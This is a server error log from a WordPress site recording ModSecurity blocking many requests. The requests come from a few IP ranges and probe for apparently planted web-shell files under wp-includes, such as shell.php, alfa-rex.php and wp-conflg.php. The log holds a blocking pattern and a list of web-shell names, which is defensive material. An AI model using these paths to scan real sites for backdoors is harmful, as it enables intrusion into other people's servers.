[Sat Feb 28 22:24:01.333573 2026] [:error] [pid 49763:tid 49784] [client 45.86.200.240:43165] [client 45.86.200.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aaL6gbTHSOG_yf2PpqHH5gAAAdI"]
[Sat Feb 28 22:24:04.132604 2026] [:error] [pid 11791:tid 11805] [client 45.86.200.241:40265] [client 45.86.200.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aaL6hGuX5e1Q32gqxH3XuwAAAQw"]
[Sat Feb 28 22:24:08.773557 2026] [:error] [pid 49763:tid 49785] [client 45.86.200.245:48759] [client 45.86.200.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aaL6iLTHSOG_yf2PpqHIPgAAAdM"]
[Sat Feb 28 22:24:13.289462 2026] [:error] [pid 49763:tid 49784] [client 45.86.200.222:42089] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaL6jbTHSOG_yf2PpqHIjAAAAdI"]
[Sat Feb 28 22:24:13.889295 2026] [:error] [pid 49763:tid 49770] [client 45.86.200.232:64775] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aaL6jbTHSOG_yf2PpqHImgAAAcQ"]
[Sat Feb 28 22:24:16.687023 2026] [:error] [pid 49763:tid 49779] [client 45.86.200.239:37011] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaL6kLTHSOG_yf2PpqHIzgAAAc0"]
[Sat Feb 28 22:24:17.851978 2026] [:error] [pid 39183:tid 39215] [client 45.86.200.224:54791] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/simi.php"] [unique_id "aaL6kRCf4HvhVePw3LaHwAAAABc"]
[Sat Feb 28 22:24:22.473147 2026] [:error] [pid 49763:tid 49780] [client 45.86.200.215:25457] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaL6lrTHSOG_yf2PpqHJHAAAAc4"]
[Sat Feb 28 22:24:24.516091 2026] [:error] [pid 49763:tid 49782] [client 45.86.200.225:55793] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aaL6mLTHSOG_yf2PpqHJOgAAAdA"]
[Sat Feb 28 22:24:25.146511 2026] [:error] [pid 39183:tid 39210] [client 45.86.200.225:62799] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aaL6mRCf4HvhVePw3LaH3gAAABI"]
[Sat Feb 28 22:24:25.782176 2026] [:error] [pid 52460:tid 52471] [client 45.86.200.238:25609] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aaL6mbLWOogAgHGh62S5JAAAAYg"]
[Sat Feb 28 22:24:33.154292 2026] [:error] [pid 11791:tid 11801] [client 185.82.72.107:42135] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aaL6oWuX5e1Q32gqxH3X6gAAAQg"]
[Sat Feb 28 22:24:37.753201 2026] [:error] [pid 22194:tid 22197] [client 185.82.72.109:29069] [client 185.82.72.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aaL6pX6mbajs3bzQGyuzgAAAAUE"]
[Sat Feb 28 22:24:40.549996 2026] [:error] [pid 39185:tid 39252] [client 45.86.200.221:30469] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aaL6qBVE-FfM89u7BQaxOAAAAIY"]
[Sat Feb 28 22:24:41.174745 2026] [proxy_fcgi:error] [pid 52460:tid 52466] [client 45.86.200.250:40683] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/gigfrag/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/gigfrag/public_html/wp-admin/includes/admin.php on line 16'
[Sat Feb 28 22:24:41.831133 2026] [:error] [pid 52460:tid 52465] [client 45.86.200.243:38031] [client 45.86.200.243] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aaL6qbLWOogAgHGh62S5dgAAAYI"]
[Sat Feb 28 22:24:53.009079 2026] [:error] [pid 39183:tid 39205] [client 45.86.200.217:27133] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugin.php"] [unique_id "aaL6tRCf4HvhVePw3LaIcQAAAA0"]
[Sat Feb 28 22:24:53.811290 2026] [:error] [pid 39183:tid 39213] [client 185.82.72.111:50309] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aaL6tRCf4HvhVePw3LaIdgAAABU"]
[Sat Feb 28 22:24:58.467957 2026] [:error] [pid 11791:tid 11809] [client 45.86.200.215:26293] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aaL6umuX5e1Q32gqxH3YLQAAARA"]
[Sat Feb 28 22:25:06.249541 2026] [:error] [pid 49763:tid 49780] [client 45.86.200.242:28247] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aaL6wrTHSOG_yf2PpqHK2gAAAc4"]
[Sat Feb 28 22:25:11.251615 2026] [:error] [pid 39183:tid 39201] [client 45.86.200.233:54201] [client 45.86.200.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aaL6xxCf4HvhVePw3LaI4QAAAAk"]
[Sat Feb 28 22:25:14.740481 2026] [:error] [pid 49763:tid 49776] [client 45.86.200.213:49569] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aaL6yrTHSOG_yf2PpqHLIQAAAco"]
[Sat Feb 28 22:25:17.951901 2026] [:error] [pid 39292:tid 39296] [client 45.86.200.223:54915] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aaL6zaIAO5fN7BxyqcGV0gAAAMI"]
[Sat Feb 28 22:25:20.782158 2026] [:error] [pid 52460:tid 52466] [client 185.82.72.106:20941] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aaL60LLWOogAgHGh62S6BgAAAYM"]
[Sat Feb 28 22:25:29.222337 2026] [:error] [pid 39185:tid 39259] [client 185.82.72.9:27651] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaL62RVE-FfM89u7BQaxYAAAAI0"]
[Sat Feb 28 22:25:35.228218 2026] [:error] [pid 39184:tid 39242] [client 185.82.72.111:36019] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aaL631tZF9Zd_U7easDldQAAAFc"]
[Sat Feb 28 22:25:35.927063 2026] [proxy_fcgi:error] [pid 52460:tid 52466] [client 45.86.200.231:63347] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:25:36.407490 2026] [:error] [pid 52460:tid 52470] [client 45.86.200.231:63347] [client 45.86.200.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aaL64LLWOogAgHGh62S6XAAAAYc"]
[Sat Feb 28 22:25:37.492052 2026] [:error] [pid 39183:tid 39204] [client 45.86.200.225:54223] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aaL64RCf4HvhVePw3LaJbAAAAAw"]
[Sat Feb 28 22:25:42.931999 2026] [:error] [pid 49763:tid 49787] [client 45.86.200.236:62783] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aaL65rTHSOG_yf2PpqHL2wAAAdU"]
[Sat Feb 28 22:25:43.613970 2026] [:error] [pid 39183:tid 39208] [client 45.86.200.220:40367] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aaL65xCf4HvhVePw3LaJigAAABA"]
[Sat Feb 28 22:25:55.096778 2026] [:error] [pid 39292:tid 39307] [client 45.86.200.237:28659] [client 45.86.200.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-2019.php"] [unique_id "aaL686IAO5fN7BxyqcGWLwAAAM0"]
[Sat Feb 28 22:25:55.675104 2026] [:error] [pid 39184:tid 39233] [client 45.86.200.240:25335] [client 45.86.200.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aaL681tZF9Zd_U7easDlxgAAAE4"]
[Sat Feb 28 22:25:58.622775 2026] [:error] [pid 39184:tid 39241] [client 45.86.200.236:47533] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/log.php"] [unique_id "aaL69ltZF9Zd_U7easDl1gAAAFY"]
[Sat Feb 28 22:25:59.344526 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.235:27733] [client 45.86.200.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aaL697THSOG_yf2PpqHMCQAAAcY"]
[Sat Feb 28 22:26:00.023616 2026] [:error] [pid 49763:tid 49776] [client 185.82.72.182:61951] [client 185.82.72.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aaL6-LTHSOG_yf2PpqHMEAAAAco"]
[Sat Feb 28 22:26:00.688430 2026] [:error] [pid 39185:tid 39255] [client 45.86.200.222:50205] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/aw.php"] [unique_id "aaL6-BVE-FfM89u7BQaxbgAAAIk"]
[Sat Feb 28 22:26:08.429332 2026] [:error] [pid 49763:tid 49777] [client 45.86.200.246:51697] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/db.php"] [unique_id "aaL7ALTHSOG_yf2PpqHMJAAAAcs"]
[Sat Feb 28 22:26:09.109554 2026] [:error] [pid 39183:tid 39195] [client 45.86.200.234:51831] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/install.php"] [unique_id "aaL7ARCf4HvhVePw3LaJ9QAAAAM"]
[Sat Feb 28 22:26:13.333967 2026] [:error] [pid 39183:tid 39216] [client 45.86.200.249:32551] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aaL7BRCf4HvhVePw3LaKCwAAABg"]
[Sat Feb 28 22:26:14.002719 2026] [:error] [pid 11791:tid 11812] [client 45.86.200.222:42711] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aaL7BmuX5e1Q32gqxH3YgAAAARM"]
[Sat Feb 28 22:26:18.376974 2026] [:error] [pid 49763:tid 49771] [client 45.86.200.213:29113] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/template-less.php"] [unique_id "aaL7CrTHSOG_yf2PpqHMSwAAAcU"]
[Sat Feb 28 22:26:18.999469 2026] [:error] [pid 52460:tid 52466] [client 45.86.200.232:30309] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aaL7CrLWOogAgHGh62S7EgAAAYM"]
[Sat Feb 28 22:26:32.803865 2026] [:error] [pid 49763:tid 49767] [client 45.86.200.234:63453] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/min.php"] [unique_id "aaL7GLTHSOG_yf2PpqHMpgAAAcE"]
[Sat Feb 28 22:26:33.396306 2026] [:error] [pid 39185:tid 39247] [client 45.86.200.249:37307] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aaL7GRVE-FfM89u7BQaxhgAAAIE"]
[Sat Feb 28 22:26:38.032212 2026] [:error] [pid 52460:tid 52471] [client 185.82.72.106:28297] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/file.php"] [unique_id "aaL7HrLWOogAgHGh62S7UgAAAYg"]
[Sat Feb 28 22:26:41.249551 2026] [:error] [pid 49763:tid 49781] [client 45.86.200.239:58155] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaL7IbTHSOG_yf2PpqHM1gAAAc8"]
[Sat Feb 28 22:26:43.975007 2026] [:error] [pid 11791:tid 11793] [client 45.86.200.220:22037] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/load.php"] [unique_id "aaL7I2uX5e1Q32gqxH3YiQAAAQA"]
[Sat Feb 28 22:26:45.741978 2026] [:error] [pid 39292:tid 39316] [client 185.82.72.108:29717] [client 185.82.72.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aaL7JaIAO5fN7BxyqcGWVQAAANY"]
[Sat Feb 28 22:26:46.715605 2026] [:error] [pid 11791:tid 11815] [client 185.82.72.179:53687] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aaL7JmuX5e1Q32gqxH3YiwAAARY"]
[Sat Feb 28 22:26:53.033954 2026] [:error] [pid 39183:tid 39196] [client 45.86.200.221:56789] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aaL7LRCf4HvhVePw3LaKmwAAAAQ"]
[Sat Feb 28 22:26:56.919875 2026] [:error] [pid 49763:tid 49773] [client 185.82.72.9:32419] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aaL7MLTHSOG_yf2PpqHNEgAAAcc"]
[Sat Feb 28 22:27:03.736635 2026] [:error] [pid 39292:tid 39304] [client 45.86.200.235:55265] [client 45.86.200.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aaL7N6IAO5fN7BxyqcGWfAAAAMo"]
